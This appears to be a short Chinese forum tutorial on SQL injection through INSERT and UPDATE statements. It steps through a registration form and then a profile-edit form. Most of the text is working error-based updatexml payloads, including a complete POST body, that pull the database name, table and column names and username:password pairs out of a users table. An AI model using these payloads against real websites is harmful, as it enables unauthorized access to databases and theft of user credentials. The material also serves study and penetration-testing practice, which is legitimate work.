sql update/insert注入
insert注入关于update insert语句
update 数据库更新语句
insert 数据库插入语句
首先打开注册页面
https://ws2.sinaimg.cn/large/cc788230ly1g1w543v2tkj20l70bh3yl.jpg
我们填写数据,点击提交后抓包。
https://ws2.sinaimg.cn/large/cc788230ly1g1w57xcfwmj20zu0ev40o.jpg
在用户名输入:
payload
wangwu'or updatexml(1,concat(0x7e,(命令)),0) or'
爆出数据库
test001' or updatexml(1,concat(0x7e,database()),0) or'
加在前面就行了
username=test001' or updatexml(1,concat(0x7e,database()),0) or'&password=kali&sex=111&phonenum=1111&email=2222&add=china&submit=submit
放包即可
成功获取数据库
获取表
test001' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='lou' limit 0,1)),0) or'
获取列
test001' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),0) or'
获取内容
test001' or updatexml(1,concat(0x7e,(select concat_ws(':', username, password) from users limit 0,1)),0) or'
update注入
首先登陆
点击修改 进行抓包
爆出数据库
test'or updatexml(2,concat(0x7e,(database())),0) or'
其他请参考上面提到的语法。
页:
[1]